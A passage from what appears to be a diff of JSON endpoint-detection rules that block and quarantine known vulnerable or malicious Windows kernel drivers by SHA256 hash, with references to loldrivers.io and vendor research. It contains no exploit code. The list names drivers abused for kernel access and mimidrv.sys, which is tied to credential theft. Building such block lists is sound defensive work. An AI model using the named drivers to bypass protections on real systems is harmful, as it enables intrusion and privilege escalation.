+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c2508d4-c75f-5f5f-ab3e-42051fdc65ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476214Z",
+  "creation_date": "2026-03-23T11:45:30.476217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87e094214feb56a482cd8ae7ee7c7882b5a8dccce7947fdaa04a660fa19f41e5",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c251594-9097-508f-860e-851f557c1231",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979082Z",
+  "creation_date": "2026-03-23T11:45:29.979084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979089Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade",
+  "comment": "Vulnerable Kernel Driver (aka LHA.sys) [https://www.loldrivers.io/drivers/eb07ef7e-0402-48eb-8e06-8fb76eda5b84/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c3375b7-0084-5b14-8688-43c77eda146d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143910Z",
+  "creation_date": "2026-03-23T11:45:31.143912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6611470131d2bf9f571217bc83ab77e4e8cfa6cd08c6b4b6994a9b045d0a93d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c383a0c-a508-50c9-81e6-2ff68fdd2fb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463270Z",
+  "creation_date": "2026-03-23T11:45:30.463273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec96b15ce218f97ec1d8f07f13b052d274c4c8438f31daf246ccfaaee5e1bebd",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c395aa1-3474-5231-b2cd-5db1377a70e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832279Z",
+  "creation_date": "2026-03-23T11:45:30.832281Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7e0b9ee449be3f6af44d4bc962e5b8e7bcd2fc657796c257a6234920c68ab27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c3e97d9-1dce-577b-82e5-2090f5c0c7b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150479Z",
+  "creation_date": "2026-03-23T11:45:31.150480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "381463e3020706e124291c7a6d0df2fbee49e2f695fb8dc027d4ebb03f30134b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c3ead8f-2cac-5be6-85e3-3c5667f1add9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143077Z",
+  "creation_date": "2026-03-23T11:45:31.143079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7ed5283aa462d89ca12960b6fccad1d86cd3b9bcda9b9e532f937f634950a43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c5e7a68-a056-517f-bc63-f8d6189e85c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156345Z",
+  "creation_date": "2026-03-23T11:45:31.156347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4fe055699c47493921717525e1939c3b4426c65efd1f2e922eefff5c1d3ac20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c6d76dc-d377-54bd-8936-126268ea8465",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488776Z",
+  "creation_date": "2026-03-23T11:45:31.488778Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b84b2161ca1515e4d503a1ddd8fed1c995e2f4f45ece1f5504059ecf7ea5360",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c841118-5e96-53b8-8556-66bb845ce94e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459547Z",
+  "creation_date": "2026-03-23T11:45:30.459551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e94e8a87459db56837d1c58f9854794aa99f36566a9ded9b398be9d4d3a2c2af",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c88dbcd-516e-5c3f-9310-905534e65e98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984804Z",
+  "creation_date": "2026-03-23T11:45:29.984806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "913ab7134ea3460e76db753cf68f336ada8f0b9c397be88c75f9567a8694f4a5",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrRapidStartDrv.Sys) [https://www.loldrivers.io/drivers/19d16518-4aee-4983-ba89-dbbe0fa8a3e7/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c97c4a0-6717-589d-9ada-2d68e24d8f46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813740Z",
+  "creation_date": "2026-03-23T11:45:31.813742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813747Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e32f82241a529082fe33a4bfbd949a50c8ef947f4742cfa4027143afc051784",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c980820-ef5c-501f-a236-e148171aacd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972721Z",
+  "creation_date": "2026-03-23T11:45:29.972723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04f771d72a812fe9dd6bced402b36b081c80bd3397fdd66dbaa44906ac088159",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9c9ea072-21ec-55e5-91ed-f144f03f80ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819175Z",
+  "creation_date": "2026-03-23T11:45:30.819177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819182Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "713c7a6532cbc952546c3b844ed529b5b285dc29e16036731ceebc6f6431ae77",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ca1b18b-60a6-5db1-af13-b6c5168b4e9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155649Z",
+  "creation_date": "2026-03-23T11:45:31.155651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b31d89fa12755b4b91cadf4106aa617155a8ee6feac355ab40bf4fe54b4df3e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ca41e79-03b3-5654-9813-68078c4775a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982361Z",
+  "creation_date": "2026-03-23T11:45:29.982363Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbe9f17313e1164f06401234b875fbc7f71d41dc7271de643865af1358841fef",
+  "comment": "Vulnerable Kernel Driver (aka winio64.sys) [https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cb60c53-cc25-5eb3-a624-d22b97780a5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458992Z",
+  "creation_date": "2026-03-23T11:45:30.458995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459005Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eace788e09c8d3f793a1fad94d35bcfd233f0777873412cd0c8172865562eec",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cb8639e-04d2-52d1-a72a-3a4f69960fcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616605Z",
+  "creation_date": "2026-03-23T11:45:29.616607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7cbfb16261de1c7f009431d374d90e9eb049ba78246e38bc4c8b9e06f324b6f",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cc171a0-314f-53a6-9bb6-cdc71b7cb3d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818772Z",
+  "creation_date": "2026-03-23T11:45:30.818774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fa699246d83356d7b4bd99adf3c74f8e0682a650de2687075e70418ee9d5e38",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cd4d84b-7a24-5985-a128-13cc8ed06361",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142128Z",
+  "creation_date": "2026-03-23T11:45:31.142130Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e507406311a9ca0620cae70209d97725fb22fdfb4e94b941284fdf5c1e310ba6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cd914a6-e239-5a25-b2bd-4631f88e0eab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145523Z",
+  "creation_date": "2026-03-23T11:45:31.145525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1c1a28aac308366f9679c2d730e6e93e9f1344c5961242f99f7129f29e50d9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ce8fc0c-8b80-557c-a4c7-312d4701a69e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612351Z",
+  "creation_date": "2026-03-23T11:45:29.612352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ced9727-4ce2-5198-817f-4b520b5109d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
